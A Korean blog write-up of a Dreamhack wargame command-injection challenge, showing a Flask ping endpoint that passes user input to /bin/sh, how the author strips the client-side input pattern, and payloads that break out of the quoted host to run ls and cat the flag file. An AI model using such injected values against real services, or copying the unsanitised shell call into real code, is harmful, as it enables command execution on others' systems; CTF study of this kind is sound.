Dreamhack Command injection 풀이

2023. 1. 12. 14:23Web_hacking/Dreamhack_wargame

해당 페이지의 원하는 주소를 넣는다면 Ping을 때리는 모습을 볼 수가 있다.

 

여기서 Command injection으로 flag파일을 열람하여 flag을 획득하는 문제다.

 

그렇다면 단순히 Command injection 구문을 삼입한다면 어떻게 될까?

형식에 맞게 입력하라며 입력이 불가능한 것을 확인할 수 있다.

 

개발자 도구를 열어보면

<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" pattern="[A-Za-z0-9.]{5,20}" required="">

pattern="" 이 부분에서 형식에 맞게 출력 방식임을 알 수가 있다. 즉 HTML 소스코드를 편집하여 패턴을 없애면 Command injection 코드를 수행할 수 있을지도 모른다.

 

일단 코드를 봐보자.

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')

일단 HTMl코드를 편집하고 요청을 보냈다.

더블쿼터에 씌여서 작통하지 않음을 확인할 수 있다. ( 위에 문제 소스코드 속 Host 부분을 보면 알 수 있다. )

 

이를 우회하기 위해 

 

8.8.8.8";"ls

 

코드를 입력하여 요청을 해보자.

 

 

작동을 하는 것을 확인할 수 있다.

 

위와 같이 명령어를 친다면 문제 속 코드에서

 

cmd = f'ping -c 3 "{host}""

 

--> CMD = f'ping -c 3"{8.8.8.8}";"ls 방식이 될 것이다.

 

 

위와 같이 명령어가 실행됨을 확인 할 수 있다.

 

그렇다면 8.8.8.8";"cat flag.py 를 입력하면 정답을 해결할 수 있을 것이다.

 

엥 근데 작동이 하지 않는다..??

 

구글링을 해보니

 

 

나와 같은 생각을 한 사람이 있었다.

 

이유로는 우분투 명령어 체계의 형식으로 작동하지 않기 때문에 더블쿼터로 묶어야 한다는 거다.

 

즉 8.8.8.8";"cat"flag.py"로 생각했지만 또 에러가 떠 조금 더 수정해 보기로 했다.

 

8.8.8.8";cat "flag.py 로 구문을 작성해도 

 

cmd = f'ping -c 3 "{host}""

 

--> CMD = f'ping -c 3"{8.8.8.8}";cat "flag.py" 방식으로 작동이 될 것이다.

 

 

 

그렇게 flag를 탈취할 수 있다.

'Web_hacking > Dreamhack_wargame' 카테고리의 다른 글

-Layer7 과제 devtools-sources 드림핵 Write-up  (0) 2023.04.17
Dreamhack - simple Sqli - ((SQL INJECTION))  (0) 2023.02.10
Dreamhack CSRF 1번 풀이  (0) 2023.01.13
드림핵 XSS bypass 풀이  (0) 2023.01.13
XSS-1 풀이  (2) 2023.01.12